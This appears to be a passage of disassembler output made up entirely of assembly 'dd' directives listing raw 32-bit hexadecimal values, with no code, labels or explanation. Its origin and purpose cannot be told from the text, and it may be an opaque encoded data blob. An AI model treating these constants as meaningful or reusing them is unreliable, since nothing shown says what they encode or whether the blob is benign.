		dd 689017FDh, 0B22275C9h, 0C77044h, 6CB71F41h, 849FE0EDh
		dd 5644F00h, 65287438h,	7926003Bh, 6D6B2DE2h, 60600D58h
		dd 87A87A49h, 0F7570078h, 0AFCD5EEBh, 0D00722Bh, 0C77CA463h
		dd 14D0C08h, 0B7EA4241h, 706DE5E1h, 13702134h, 0BD08590Eh
		dd 0D9934723h, 0CBE3604Eh, 5849F15Ch, 0BE39A80Ch, 217107F0h
		dd 0E96B9476h, 45003052h, 3A80D09Bh, 2685335h, 1E49ECBBh
		dd 44562416h, 1162B282h, 37C5C0Dh, 156E1207h, 1FED01DDh
		dd 40B076ADh, 7EA88498h, 0ED2D5213h, 35E2004h, 0B081F685h
		dd 1838955Bh, 3EB92B0Bh, 3B5CF080h, 0D205C076h,	0E4C611Bh
		dd 0F8A09C83h, 3C51FA65h, 20384F0h, 0D480A8AEh,	249AE3B8h
		dd 0E351D18h, 0BC207AD8h, 8AA07B4h, 7C7EE005h, 19009FF3h
		dd 80CCEEC6h, 99213Ch, 0CF1861F7h, 729DFB2h, 0C86C0C00h
		dd 9ED4BD91h, 3FEA0376h, 0AD492C85h, 1EA3D818h,	13BA3DDAh
		dd 83F4A0h, 0E09B8909h,	0A800941Ch, 5DEB68C9h, 0CCB133h
		dd 9575ABBBh, 0C15506CAh, 1EAA143Fh, 0A0004CA2h, 0F1EFF7Ah
		dd 3B86FC81h, 0FBAEF193h, 3CF40757h, 0A9A7C04Fh, 0DF039F5Eh
		dd 2F4A0F16h, 56E9B018h, 0BD100093h, 74C15C4Fh,	4901EEBBh
		dd 2BFCC4DEh, 6C80DF31h, 212915FEh, 4F00BE45h, 0DACAB063h
		dd 9DDB3h, 0D369663Bh, 72BAF220h, 837DF1Eh, 0AE9D80FAh
		dd 418BC7A9h, 74360024h, 424973E6h, 0C1008DA5h,	3F76D187h
		dd 368FFA0h, 7DDB1D3Dh,	83F054C8h, 0CB0FB98Ah, 25F33801h
		dd 6180B394h, 19E2A63h,	5DD4E1EBh, 0DC38A377h, 9806CE39h
		dd 0A78AD6Fh, 237F72h
		dd 2A60C93h, 0C1C8908Eh, 8A13117Bh, 6403C7Ch, 45C90970h
		dd 31010CD8h, 0EB20E6D0h, 59A43F07h, 30975A93h,	0FC68DBD0h
		dd 185B1CA6h, 0B769807Bh, 40D9FD70h, 1D1FC1F0h,	6CC0DA8Bh
		dd 88122B7Eh, 0AF2700E4h, 4BC9D9F0h, 892E3AC2h,	0CD036F5Eh
		dd 72460685h, 1240E61h,	0D1E05B88h, 77AF18Eh, 0F5002973h
		dd 0DE441B56h, 388FBF9h, 6C75C614h, 8A2EE781h, 33CC62Eh
		dd 4CD6C7EAh, 400FA061h, 93A41E97h, 0E39CAFh, 9487AB48h
		dd 1A0F3AEFh, 3BC1DEBh,	994A6A66h, 0ED600867h, 40E00F3h
		dd 0E891F6BEh, 6C000BDFh, 246F7A72h, 0FAC19BCh,	0C8FB8F86h
		dd 3A1C7060h, 0CA39F4AFh, 2A4D809Dh, 0C0A984F3h, 3CFF0011h
		dd 8A25E48Fh, 9A0F38F8h, 0C0875E72h, 0E348440Dh, 29300F68h
		dd 65E0B846h, 0DA90C46Ah, 0E6B98600h, 2BDCDE2Eh, 695A00A7h
		dd 2A5046C7h, 650E88A2h, 60E15176h, 0A7972EF5h,	0A990F8h
		dd 0EFF185Eh, 2CC6CCCFh, 8B690A00h, 6FD516FCh, 7210002Bh
		dd 0E351F073h, 0FF2CDEAAh, 7900B576h, 4A390C43h, 34190378h
		dd 0DF378356h, 0B32CD9E0h, 3D6D2D03h, 0E86356Eh, 48744628h
		dd 0F014A040h, 62CFAB0h, 531CF554h, 0D0BE4E8Ah,	711C6500h
		dd 928E1617h, 5A800040h, 0D1FEC1F8h, 25007066h,	0A0B8D686h
		dd 150D3EBh, 0A7597B78h, 0DCC8CA60h, 79004C12h,	361A9AB6h
		dd 0A05D0B51h, 0D7DED0h, 7EF4EC2Ch, 9CEA39F2h, 71E43FEh
		dd 28C0BBC0h, 0A6A29AF9h, 0D0E500ABh, 40DF91C1h, 43000B71h
		dd 65D9CD42h, 75376C09h, 0B3A0006Dh, 8A74C6CBh,	8800E4D3h
		dd 8DF328A1h, 40827DF7h, 47007B18h, 7A9D12D6h, 736E79C1h
		dd 0FA5C00C9h, 7F9EBD5Ah, 3B266404h, 1D00122Fh,	0DBD677F2h
		dd 30F0029Ah, 8A22787Bh, 5DEF4160h, 0BA4EC515h,	2E7100FCh
		dd 28E3FF05h, 0A1E10096h, 59C2C6F4h, 0C130E690h, 58DD28B9h
		dd 221C0325h, 7D3C487Ah, 802A41A1h, 0D57266A8h,	97725D7h
		dd 9DBF815Bh, 627C1C80h, 0DEC4C48h, 0FEEAE00h, 0E5DF7057h
		dd 0ECF80090h, 0FB0B81ABh, 301E6DC3h, 78E41145h, 89952F07h
		dd 0BB4B4230h, 0C9D108D5h, 7700CCFEh, 3EE04914h, 808C03BEh
		dd 0F8858B89h, 68DF2D98h, 763A0300h, 0FEAFAA1Fh, 89D400E2h
		dd 18B9FDB4h, 230698D2h, 5790720Eh, 0EADE03DAh,	33D1568Ch
		dd 0AFD2F0A0h, 6F0037EEh, 8823AA54h, 0FB03F5h, 0EE64D7BDh
		dd 426C0EC9h, 1FCCDD18h, 0E6391Ah, 0DC6510D4h, 978DABD2h
		dd 0B53CAC7Dh, 0DA7E00E3h, 0D6308C21h, 28770082h, 4E7FEA59h
		dd 0F2006710h, 0ACAF7D2Ch, 5CE211C9h, 0EC00C4CBh, 0F8FE85Dh
		dd 4031CD8h, 59B03748h,	0AD38381Eh, 39F9E100h, 82DAE8F2h
		dd 10E6A333h, 0B5F03FF4h, 95C77E00h, 0EBC56315h, 678FD000h
		dd 43EA8A51h, 2E6A00C8h, 382D4840h, 6C003787h, 177D8BD7h
		dd 9AA2FB9h, 72D5CC4Ch,	0FB901803h, 36F6F288h, 549172Ch
		dd 0FD7CF03h, 0D0CD900Ch, 0C647E710h, 56A55820h, 67CF0026h
		dd 255A0E60h, 6F122973h, 8C00E37Ah, 0A99308EAh,	1F4B028Bh
		dd 0BA587879h, 0C0F1E3D5h, 0F5D6940h, 9BB93F16h, 4C29009Dh
		dd 0FFD7314Bh, 12EE1402h, 407D2306h, 975F48h, 50E67FE7h
		dd 0C6641674h, 8F0FE901h, 0D41946AFh, 0F0A4E0EAh, 0B79B0057h
		dd 0D27D1144h, 3D00C6EEh, 892D39CDh, 14E3EDEh, 3426BB81h
		dd 0ECA0B971h, 0BF00A1A6h, 805E565Ch, 3B5E3C1h,	783F3B4Dh
		dd 4BE994F4h, 8800F78Fh, 5BCEEF73h, 0B18821h, 0DA74FD7Ch
		dd 1EDF1D04h, 242E403Dh, 3B0041CDh, 792C1C73h, 0B220401h
		dd 0C05AC2CCh, 0F1BE9304h, 6B1836E2h, 77283D59h, 37250E3Fh
		dd 6CE88151h, 36A2000h,	0EAD13Dh, 7DABFE78h, 0C6558E91h
		dd 8101B890h, 23D8D4ECh, 0C03014F8h, 0F3D50246h, 6B3D4406h
		dd 92155868h, 6D70BD00h, 7F6A99ADh, 485D7077h, 0EF07B00Dh
		dd 0B1B4E6ABh, 700AB1F3h, 5500A0BEh, 71F14957h,	6BA49296h
		dd 98005245h, 7832DCD4h, 0CBFEF600h, 9E79414Ah,	248EEAD7h
		dd 0B42B59h, 5BA4BF14h,	0EE483812h, 0FADA0039h,	0A3104971h
		dd 41CF01F7h, 0F2973969h, 986C64CDh, 388BED00h,	75DE2724h
		dd 9168016Fh, 3FF3AED7h, 88B4FCFEh, 4715A81Ch, 0CCB83647h
		dd 692F5400h, 24E14C01h, 0ACFE0774h, 8323F0D9h,	75887112h
		dd 0FAF01036h, 7D85DA01h, 0DBA98FFDh, 0E0A6A995h, 64AA8203h
		dd 4800DEB6h, 40C6C984h, 1F00910h, 0C1B3A8A7h, 8107A4FBh
		dd 5A2A0690h, 0E7E85E47h, 4EEC0012h, 0CDB78BC1h, 98C346DDh
		dd 0C0B9742Eh, 11A6BBEh, 972C43C7h, 50CF99B5h, 0A3F6BDCCh
		dd 0B600D49Ah, 0C7F4C3B1h, 0FEDA6h, 0B883FD4Eh,	9CF6D4A3h
		dd 6F5799C0h, 0BB7BF03h, 2E49294Eh, 44C018AFh, 0B63DA333h
		dd 813C2038h, 13B4D4B9h, 0B3D8472Dh, 8D69C00Fh,	0D3CAD6BCh
		dd 295CD501h, 0B065260Ah, 6784060h, 32A7047Dh, 0D50010A9h
		dd 56FA3A69h, 0FD5A589Fh, 0BDAF030h, 0F999FF22h, 0A754BC21h
		dd 0E00065C5h, 5D18AABAh, 7D71A0E3h, 0DE2901ACh, 837A4931h
		dd 7B4CD00Ah, 9CBF2500h, 74C13E6Eh, 0FA5D1FEDh,	0F1168560h
		dd 0C03DC4BAh, 0E79B28BCh, 14FEF58h, 4DC427F6h,	0ACD84287h
		dd 3C3B0033h, 4373418Dh, 2059C4Fh, 0C8471F7Fh, 0B9F65490h
		dd 3C530238h, 0BF4D51Bh, 52B340E0h, 4C459000h, 0C600509h
		dd 0C19600CEh, 35184D8Fh, 0DE002F2Bh, 7B12CF0Dh, 0DDFDEDh
		dd 0A743571Ah, 0F113B28Ch, 875A4824h, 6C125500h, 0F2FEBC23h
		dd 0A6E104D0h, 83438CC2h, 88F8C52Bh, 0FAF41B0Dh, 61333200h
		dd 450C9DFFh, 0C998A09Fh, 0AB2F1F1Dh, 87D1879Eh, 3735124Ch
		dd 0F5810860h, 18A85400h, 0CA9BA21Dh, 75562C86h, 0D7B90648h
		dd 0C0002916h, 8ADF8884h, 12114B5h, 4611DA65h, 2079DE04h
		dd 4A006C34h, 0A157D733h, 924097A4h, 3B3600E4h,	2A5CE61Bh
		dd 7548F204h, 0A7390084h, 6053408Fh, 0E217282Ch, 59C63EECh
		dd 40DE8B9Eh, 0D3278D96h, 484931A7h, 0C8A8B9Ch,	2B5E6DEh
		dd 66EA4B6Fh, 7C41DF54h, 50E371D8h, 17A39CD4h, 0C70194F4h
		dd 825610ADh, 46218E8Dh, 2FDE9C0h, 2DF7F0BDh, 0D360EA1Bh
		dd 0F20C859Eh, 91E84BADh, 26EC9070h, 7186693h, 53F053Ah
		dd 7A313BBh, 316345E6h,	50DB0444h, 21373184h, 0F63B3CECh
		dd 0D4A00746h, 208F1F1Dh, 2ABE8AC5h, 0F4A900A5h, 8881CC87h
		dd 6D02F2AEh, 67496664h, 82C4C871h, 0A5443170h,	21F60791h
		dd 2E44BCh, 358BC6ACh, 0D7010C19h, 0CC6B2010h, 0F88025DEh
		dd 87F01D32h, 8B007CA2h, 3613AB8Dh, 8AE15h, 69897D3Eh
		dd 0F62A0E55h, 67BB8600h, 0CB519845h, 0BAC00A5h, 6EF33328h
		dd 690044DDh, 1C38BB2Bh, 0E5BC9A9h, 9CE5146Ch, 9D182E4Ch
		dd 0D34027h, 483D642Ch,	166DF2D8h, 0BACCA972h, 89B62500h
		dd 0BECDE83h, 4BF05266h, 7CB12C29h, 0EEE710CBh,	0C3DC189Ah
		dd 599F10B5h, 56256800h, 0F5B29C3Bh, 47722CA3h,	122C0082h
		dd 988470E1h, 4AB4A38h,	547E2A14h, 36CBCC80h, 0F20F011Bh
		dd 0E95B7709h, 0BE882418h, 0CD494409h, 0A06C8BD9h, 99D0D698h
		dd 0AF5C00E7h, 0D56F664Ch, 0A202685Fh, 1118FF07h, 0A31140E3h
		dd 3F4C2601h, 0C5AF83A7h, 4858DBDDh, 2403712Fh,	0C7F3A083h
		dd 16139878h, 0BFAA0B15h, 348E47B2h, 0F7C2809Dh, 7C7932D0h
		dd 0DA766098h, 761E89F0h, 0B21824CCh, 174917Ch,	0EA696B40h
		dd 60892E55h, 887F5BDDh, 0CDBF821Fh, 6012A84Eh,	92A69ECCh
		dd 1C790097h, 4C9DBA8Ah
		dd 0CD00ECFEh, 5F25DCC5h, 91A999h, 7CF92B63h, 699AE9BFh
		dd 949673EAh, 7B6E4400h, 370421h, 8F8430EBh, 85BE83AAh
		dd 0C4FC5700h, 0C0D76342h, 512300AEh, 2A736410h, 0BF04EBB6h
		dd 0FEDF6D79h, 4E5CF0h,	0A3C6FC52h, 1D6980EEh, 0F5ED4700h
		dd 61DF3BB8h, 0A7480344h, 0E81A3A9Bh, 0E64670A7h, 0DA00E162h
		dd 5B76CC7Bh, 0FEBF70C7h, 900B0911h, 0B480DD77h, 5AC44FBEh
		dd 5F27B805h, 0D8C04515h, 0FCB2EAAEh, 0A0F8009Dh, 0AB9B8AD1h
		dd 0B400A7CAh, 198D72B1h, 0E2BB27h, 2F1B1C4Ch, 65410F8Eh
		dd 0D318BF00h, 0CF0E3AABh, 7C930233h, 0BCE8D9FEh, 0ACAFE848h
		dd 34E459h, 0AE56A68h, 48DE25FFh, 0E033457h, 0E73685C6h
		dd 878DC5A8h, 0E4D3B809h, 444420BCh, 4470F29Eh,	0F02098B6h
		dd 0F257779Dh, 0A9B80CEBh, 847133BDh, 8F88AE04h, 6E80A499h
		dd 1E705C4h, 187669E6h,	838E52A3h, 8679F128h, 3793F0CFh
		dd 0D84300C5h, 822FA571h, 2709E2EDh, 8012BDAEh,	0E78D66E5h
		dd 0A0FA00C8h, 18303FF2h, 0D090A67Bh, 2167D600h, 0A90F0435h
		dd 0CA5A00D1h, 0FCB591CBh, 6878707Ch, 7D7F6F00h, 9F892FD2h
		dd 0DAA00D4h, 9383E3E9h, 6E091ED8h, 205ECE22h, 5DCCAFB0h
		dd 0ED2C4C2Bh, 81802100h, 0C70CD2BEh, 8D5A3B00h, 0B64044D1h
		dd 50F03D4h, 64E3A39Bh,	38EB16D0h, 21EE99F2h, 9A30620Eh
		dd 0CCB520F4h, 0C08A32h, 4593EFD8h, 4D18CEB2h, 0A928F77Ah
		dd 961DA459h, 1E4039C2h, 7BFED578h, 0B88600E8h,	71AEFFAh
		dd 0CE02BF99h, 87CCE2BCh, 56C78F0h, 0E0E8BA59h,	0F2E00EE6h
		dd 88DFC220h, 0B7009BC7h, 18A174C6h, 0CBF8B9h, 6A2999E7h
		dd 9BCC5448h, 94B8A42Ch, 5CCEEE00h, 0E9EAC5h, 3915DD74h
		dd 0A8796317h, 13B080Fh, 0BFE660BCh, 2424446Ah,	7942A74h
		dd 7723E1C2h, 9DF9D038h, 0DF00F3EFh, 90463D10h,	0D1D68Ah
		dd 71990FD7h, 0DBAE4F01h, 64C64400h, 29A0C560h,	2C17007Ch
		dd 0E722BF94h, 0E288F002h, 77813EEh, 60B002F1h,	850D891h
		dd 0CD4DE900h, 3413CE04h, 818A1DF0h, 9000E511h,	0D4D5AD38h
		dd 5B7AFA02h, 80E4F320h, 0FDB787CDh, 0EC971CEh,	19DFF740h
		dd 3C06F140h, 18075915h, 0AA0EB24Bh, 3A4C02F0h,	86050289h
		dd 0BBB3E057h, 2200D472h, 322AEC7Eh, 5520B6h, 4C2E0966h
		dd 0BB0DFA81h, 4F1A1400h, 0FEFF6933h, 782F0CCh,	790E417Eh
		dd 0D50C00C4h, 0AB00B5EFh, 0F5EEE188h, 7DE619DDh, 0F9DC00C1h
		dd 386AE31Fh, 9B27F8B2h, 0C65C80E1h, 42F2ACh, 57F64809h
		dd 33FAA998h, 76296B00h, 0F53BC98Ch, 53770Bh, 3AD2B4A8h
		dd 0BF7139EFh, 0DA954800h, 6D15CACDh, 8A0D0543h, 0C3C7C085h
		dd 9FC0FD36h, 0FB2CD5CBh, 89806C10h, 48B22EA3h,	0BA7A00F2h
		dd 2233E170h, 0A206FFA8h, 2EAF975Fh, 27A90099h,	1D516D10h
		dd 310E55A8h, 78D9BC22h, 0F8295720h, 0C91E0059h, 101A67DBh
		dd 0A700974Ah, 2ACE7B1Ch, 3A693A2h, 70C2A020h, 0F0A76971h
		dd 5C07D2FBh, 0F501BB90h, 3FDFF240h, 482CD9D3h,	227EB500h
		dd 0C26E1F5Dh, 285488C0h, 7D2CCCh, 0BD93F5F3h, 0A46F72DEh
		dd 1B07B3Eh, 0EC42AED8h, 9AE8FC28h, 0DED00A9h, 0BC7E29FEh
		dd 0B91D1CF9h, 8C4CB4CDh, 41807h, 7E727693h, 3B5AB51Ah
		dd 0F0442F2Dh, 5120C147h, 8953D0BCh, 0FC4391h, 1A4923ECh
		dd 35CF0001h, 0F3A8EE0Fh, 2460AAC3h, 38D55318h,	0F640CF4Fh
		dd 0F16484Fh, 420104D5h, 8537F2CAh, 3D25C670h, 6191C820h
		dd 5C5539ECh, 0F1BD4298h, 21C6173Ah, 0E689C4BCh, 51AD60E5h
		dd 99B5590Fh, 0D1471930h, 0EE1209C3h, 0A7F1141Ah, 420F205Dh
		dd 0D623446h, 0ECA02952h, 0C56DB4D4h, 0DCB8D779h, 98FC7F30h
		dd 24341AFh, 0A4BFE1E7h, 608099B3h, 347F3D19h, 0D2FED03h
		dd 0D20A5B5Fh, 0E618E0BEh, 0A446038Fh, 9E05B7D3h, 0DB7FDFA0h
		dd 7C2B0100h, 4C9623AFh, 980D00F3h, 8136A61Fh, 0E200B33Ah
		dd 0C51AE78Fh, 0F47339h, 76A511E1h, 5EBA8434h, 0F855D300h
		dd 0ED64E0F0h, 82275CFBh, 311B72Eh, 171C9559h, 0A60497B8h
		dd 0AC960900h, 0C4B6BFE5h, 0A82879D9h, 197480h,	189F1768h
		dd 1097C20Bh, 216C08CCh, 68010049h, 25C9ECAAh, 51149F58h
		dd 0C84D55h, 0ACDD2E24h, 0A04421A9h, 1A2F5B4h, 17DB54C4h
		dd 51B34F2Fh, 0C4AF21D8h, 580607DDh, 53402BF2h,	214C6008h
		dd 0E2AFA780h, 4D022C00h, 0AB93E5BDh, 7B8D14A9h, 5999CCFEh
		dd 7BA11801h, 0A80710AFh, 62DFF0h, 0B5B15982h, 68527B5Fh
		dd 3B42AF00h, 16AA810Ch, 4A2D0A74h, 0B88CECD3h,	684E02C6h
		dd 31109F0Eh, 1620176Fh, 7715F968h, 0DDCB0067h,	3DFAFDC4h
		dd 8750243Ch, 0A8247390h, 0E9084417h, 0D40A0F1Fh, 7B59BE40h
		dd 6A006478h, 3095AE33h, 3AB9150h, 2B0C34B5h, 0A2E906D5h
		dd 0C4E240D7h, 157C9AE1h, 79C6D61Fh, 24B53EC0h,	1761A29Eh
		dd 0AACCE04Dh, 678C1800h, 1EDAF779h, 5BAE98h, 0B5EB1469h
		dd 4F7E7DF4h, 478D628h,	0D8712C18h, 66110h, 6973B59Ch
		dd 552F8D04h, 321D117Ch, 0B3DE5D93h, 601A8B82h,	0F8148416h
		dd 122BC821h, 6C9A10A7h, 840CB040h, 8B106642h, 73860082h
		dd 0A0D9DF89h, 1F191E2Ah, 68A80F24h, 0B53429A0h, 0FE00CB3Eh
		dd 0FD3E7F0h, 779B8BAh,	0F937F3FBh, 78B56156h, 0C6CDD4A1h
		dd 31005C79h, 0B3F1D60Eh, 3060F5A0h, 0D0F07A34h, 0DB0028F2h
		dd 30385451h, 1C9E9D66h, 64A5D7h, 0C85C40F7h, 2FECFD6Dh
		dd 14EDEA00h, 0B9A551F3h, 0F41300CBh, 0C8D998BAh, 24B033D6h
		dd 0EDDC7E07h, 4510D26Ah, 980CE2h, 0A6B19CA1h, 0C0B73A80h
		dd 0F9655028h, 9B02F100h, 0B84E2AB0h, 270D04ECh, 905B6EF6h
		dd 2915AFFCh, 0C6784000h, 0CF653EA3h, 6EB8C082h, 0FB929962h
		dd 0CA6B1B00h, 0F1D3B3D4h, 0D8C200E0h, 0EF95611Dh, 58071247h
		dd 53F6186Eh, 26798970h, 0FA4F0023h, 355751DDh,	0A975C276h
		dd 1115B300h, 0CA41309Ch, 3EB11FDCh, 2B2A0338h,	10906DECh
		dd 321F73B9h, 0A180C263h, 2E8482B7h, 7B3628BDh,	3F2F0180h
		dd 0E3C7919Fh, 4CF8E34Bh, 0DA0647D3h, 0EB8A7082h, 383A07F4h
		dd 8076067Fh, 75F6077Dh, 9712D500h, 0F73EBB85h,	0A14900E4h
		dd 1D3BC8FAh, 0B94823E5h, 4FBF0704h, 70C07AD8h,	58EFD0A2h
		dd 0A70ABDE6h, 8C7518h,	0C590ABBDh, 0D8044B07h,	6FB8160Bh
		dd 3DA2C0EFh, 0FEF66766h, 1CDC2E05h, 52802FC0h,	0FAB077h
		dd 2C06FFADh, 0A490BEE0h, 0C7070579h, 27A89CCAh, 5C521040h
		dd 2C07004Dh, 98C997C6h, 0DB0082DEh, 9066AD35h,	1D27E760h
		dd 6A40B5h, 824533E0h, 7C26DC38h, 2E00D6B4h, 0F1A99DB1h
		dd 149503E2h, 980B9A31h, 0E56E84F8h, 0CFBDD919h, 9460C628h
		dd 6C8903F1h, 0FC061BEAh, 34E12390h, 0E80055FEh, 0B080C624h
		dd 7FF3B47h, 9260E022h,	0F9E38061h, 4A0042DBh, 0FD575A66h
		dd 0F63AB7h, 5DBA6BF5h,	263D5B41h, 0B5781DECh, 0E9044800h
		dd 22CED486h, 0B2570110h, 0F771C378h, 9353D07Fh, 92A0A91Ch
		dd 7BF28A40h, 0B707D6A4h, 836E2740h, 0DA7ADC24h, 0C5263400h
		dd 4C33B8B1h, 8B00CFF6h, 0B674CABh, 0A3044766h,	0D37406D1h
		dd 7FEB38D0h, 7F3008Dh,	835DFEACh, 9C007BD8h, 282D429Ah
		dd 38CF32E8h, 0FDFBF2h,	3F8C0F33h, 0D3A3486h, 0A9820A00h
		dd 2128922Ch, 0CA6E09B4h, 0F400E6DDh, 0F6C9CCBFh, 0A0884001h
		dd 0E1FDAF4Dh, 146FB9F4h, 0AD8ED5DBh, 0C9C8D400h, 7F29DAA0h
		dd 48E69D00h, 0E5AB494Bh
		dd 0AA755Eh, 0C0F277CAh, 0F0C2A58Ah, 0CC99F428h, 3E825800h
		dd 166BCB42h, 0C97801C1h, 6D9B519h, 1D04C494h, 5823C600h
		dd 0F3A373ABh, 3A77867h, 0DA6C55F5h, 84E88857h,	8E00EA30h
		dd 84C1EBCh, 0D3533h, 71C048AAh, 9D540F1h, 7F00ECFAh, 4768B5B4h
		dd 0F7B90Fh, 5E554175h,	0F88BE50Eh, 71422800h, 65DCCE25h
		dd 20F70047h, 26DAC8A4h, 24E12B51h, 1D038D90h, 0B21781EDh
		dd 47E68093h, 62E91F33h, 0F4968FBDh, 4D1F3500h,	557DBBCDh
		dd 983AAB31h, 5CFC64DEh, 1E8783Fh, 1A5DE6D7h, 20AB6D5Ah
		dd 8D20A090h, 0C21B070Ch, 0C0E2821Ch, 7CBE750Fh, 0DCCBC501h
		dd 5AB9AD9h, 6560BC40h,	37A00FA6h, 0DE407835h, 0B54C4BB9h
		dd 107AF324h, 56430602h, 387260D5h, 3A4230D2h, 87336128h
		dd 0F017CD09h, 518500A9h, 29143Dh, 0EBF73501h, 442F15FBh
		dd 23531F0Fh, 4680A224h, 0F083E05Eh, 1900061h, 1BB32203h
		dd 16008B5Dh, 0C11A4BCh, 13D17Eh, 0FCB49A5Bh, 0A9FD07D8h
		dd 1AB01F2Ch, 2063E400h, 0D4130Dh, 0A87AF587h, 98BD9C89h
		dd 9ED03F01h, 53942A4Ah, 0FC03F4h, 74256665h, 51E43063h
		dd 0E78EAA00h, 0E220A152h, 0EDF126EFh, 0CCC998E8h, 9400A242h
		dd 0F5225D7Fh, 0AE13C0h, 3624CAFh, 8149DA25h, 91725900h
		dd 0CA6B7EAh, 50190016h, 85BAC8F3h, 130E4224h, 6A661E01h
		dd 9404CCAAh, 0B6607AC1h, 440074B9h, 7FCA6189h,	0F1135D7h
		dd 6BA48ABFh, 0EBCED5C2h, 3AFC3060h, 0ED6F4B00h, 84DF804Dh
		dd 16B70015h, 40B00850h, 10C30B4h, 102DEB0Fh, 0E43600FEh
		dd 5DD8D752h, 0A50716C0h, 0F7110C68h, 2785B9E0h, 18DFA2Eh
		dd 7CEB6B60h, 0F83DF1F8h, 74009A90h, 0C81FD987h, 3EFE60Eh
		dd 46DA669Fh, 0E49BB901h, 0EA6794A8h, 5700A57Ch, 0FD3C40A2h
		dd 0CF51E57Bh, 650FA870h, 0A36BC287h, 0F5880C20h, 0DB07AAB5h
		dd 83A8AF5Fh, 0B71071D3h, 88410780h, 17CBAADh, 26CD109h
		dd 200A6DE3h, 8B00B488h, 0C50EED9h, 60E4431Dh, 3C19349Ah
		dd 0F90035CCh, 59564C63h, 0B42D6h, 80645A0Ch, 265F4453h
		dd 0C0D7E228h, 2B06D408h, 45E74Ch, 960CF95Ch, 3F039D01h
		dd 98F5352Dh, 340860h, 0F9BE94B6h, 76118159h, 0C44F41Ch
		dd 0D92D2E05h, 0D26543C0h, 0F234B069h, 11372B3h, 435A36Bh
		dd 0D0605F22h, 0E500BBBEh, 0DC931D6h, 5BFB7h, 5B9D9395h
		dd 3DE6E467h, 56003498h, 0D4EA41F5h, 26859EAAh,	0A242751h
		dd 20B3EF72h, 71DF7180h, 0D8E84Ch, 915636ADh, 99C45305h
		dd 8028963Bh, 0EB440783h, 0FAFA9DCEh, 1F8D0081h, 95C641D7h
		dd 560006DEh, 997ECC5Bh, 74FE4630h, 33EE0503h, 0C147022Bh
		dd 8EDC4B78h, 60AB0960h, 0BFC12DF2h, 9D414848h,	50000A25h
		dd 0E1DFCEE2h, 54BC9D00h, 0D9F1177h, 36B0C4h, 0A03D38BFh
		dd 0FF68D233h, 515ECC00h, 0A2D3CDBBh, 5450010Fh, 526BC2Eh
		dd 0D0C830F0h, 0C6679B03h, 0F1AB98F2h, 0E072D9F9h, 18E92419h
		dd 848A803Ah, 9F479602h, 100B58E3h, 1110B800h, 0B6273DECh
		dd 0CC854B00h, 0E84634DCh, 47FA06DAh, 19118F0Eh, 7F285A00h
		dd 0BDB7809Fh, 9CEF0061h, 3E462926h, 8B26B1C3h,	0EE00D4B8h
		dd 3287D89Fh, 21150059h, 3D8CB716h, 52003C3Ah, 75FE6CFCh
		dd 2D298ED6h, 32F49732h, 40AD9000h, 8FB7C0h, 0D8A1CBEEh
		dd 0FF702775h, 0D41E891Eh, 0FA56D700h, 1AC8673h, 6651E39Bh
		dd 0D8992029h, 0E8009155h, 0F1133A80h, 619F0Ch,	74D8D316h
		dd 0A357A189h, 540A2400h, 0C3B3787h, 95820A09h,	80CC467Ch
		dd 6673AC9h, 52031718h,	0D7A59A75h, 5A6FC109h, 0EED020h
		dd 2512F2D0h, 0A6898F5Eh, 0EFAD800h, 0B07B5A26h, 0D3900A3h
		dd 42837C09h, 700A8ACh,	32C04F7Ah, 60E0D796h, 94DA113Eh
		dd 7B0BC2F2h, 0AC740FFAh, 0F675DC28h, 0BE2D002Bh, 0F222E3C9h
		dd 20CC613Dh, 3D3810CCh, 9709693Fh, 7204DDC4h, 1F21C08Ah
		dd 4C3E8EE4h, 5D2500A5h, 9DA157CBh, 1F53985Eh, 80DC8070h
		dd 8E511217h, 904C2B97h, 4035002Ch, 0CC757AFAh,	8B2D513Bh
		dd 19A542E8h, 205C8B6Bh, 0FCC0856Eh, 0C49302FAh, 2E2990D6h
		dd 6C780047h, 0DB51F465h, 0C80F0305h, 800D7A4Bh, 5456F12Fh
		dd 4D300085h, 0BC96AF16h, 9500473Eh, 0E044B631h, 9D717E5h
		dd 8D513AA5h, 43830500h, 0CD000B8Bh, 6E1C0CB9h,	71C873h
		dd 0D6BCE3A8h, 0D0CA7D51h, 0C3D5EE00h, 5F814FC2h, 9FF70021h
		dd 8802393Ch, 0CC00C6A3h, 1EB1F2E5h, 1020A2h, 583C4E13h
		dd 0E80371E4h, 606DD42Eh, 3696AE07h, 1A3AEE20h,	1D490752h
		dd 8069A332h, 0CAC44019h, 98022800h, 0F4E20C7Dh, 734D3EC6h
		dd 2DDF5600h, 12240145h, 0C8CAC002h, 60867F3Fh,	7D3466Eh
		dd 14C0317h, 0F220C1FAh, 99144111h, 51002EB7h, 50DA8433h
		dd 675700CFh, 0ACF5829Fh, 5C30C018h, 11CA08C6h,	0FCDEF0ADh
		dd 42B0009Fh, 9B74361Eh, 0D107D83Ah, 65FFAF8Eh,	0E63729D0h
		dd 80F60043h, 2F8C7FABh, 5967AC06h, 61D0FB49h, 0BD7CF0h
		dd 1A016AD3h, 0D07FA170h, 1671200Eh, 3AC19DE1h,	0FCE6A088h
		dd 1127E0E7h, 8F98D9h, 244EE231h, 76CF214Ch, 8D59C465h
		dd 0F0D8D386h, 0C2720003h, 784258EFh, 4E18D0D4h, 4A281F8Fh
		dd 458C0F4Dh, 462004C5h, 0FF731830h, 0AC9F4E0Fh, 0DE18088h
		dd 1CCC043h, 1DC88251h,	93BC3C25h, 45062868h, 711E9BAh
		dd 4FD15F42h, 0FCF209Ch, 0FD0E775Ah, 60727A45h,	4C8DF9A9h
		dd 0DDEAD7h, 639FC08Eh,	0BC8923AAh, 22C45100h, 0B2315F8Ch
		dd 0E27D076Ch, 0E0432C82h, 0B9DFF6E3h, 553EFF7Ah, 798400CAh
		dd 72228889h, 9693009Bh, 0EB8FC269h, 0E1004D1Fh, 0D7515745h
		dd 0C481A384h, 978729h,	0E876CD46h, 0A5021EEBh,	0C0CEDE71h
		dd 0D22FEEFDh, 90EC090Ah, 8D00E9FCh, 77FC827Eh,	3ED4869Eh
		dd 578019F6h, 0A0E32EB7h, 3B7E2885h, 0E615E100h, 0E8C72BA9h
		dd 0E0E4EC3Dh, 0E9AD001Eh, 0CC1BF7D1h, 39014361h, 0E8BD381Ah
		dd 0AFC855B0h, 26CA00ADh, 0E32B28EDh, 0B6E00993h, 117D400h
		dd 3E0D5A08h, 3E2B8BAh,	0DF2EEE1Ah, 980403Fh, 5EE0E2D4h
		dd 327B4700h, 65C6EDAEh, 34A10318h, 0DF8BC353h,	0A46C1003h
		dd 98F87943h, 28AAB321h, 1AC9C64h, 8A1E312Fh, 0D01B60D6h
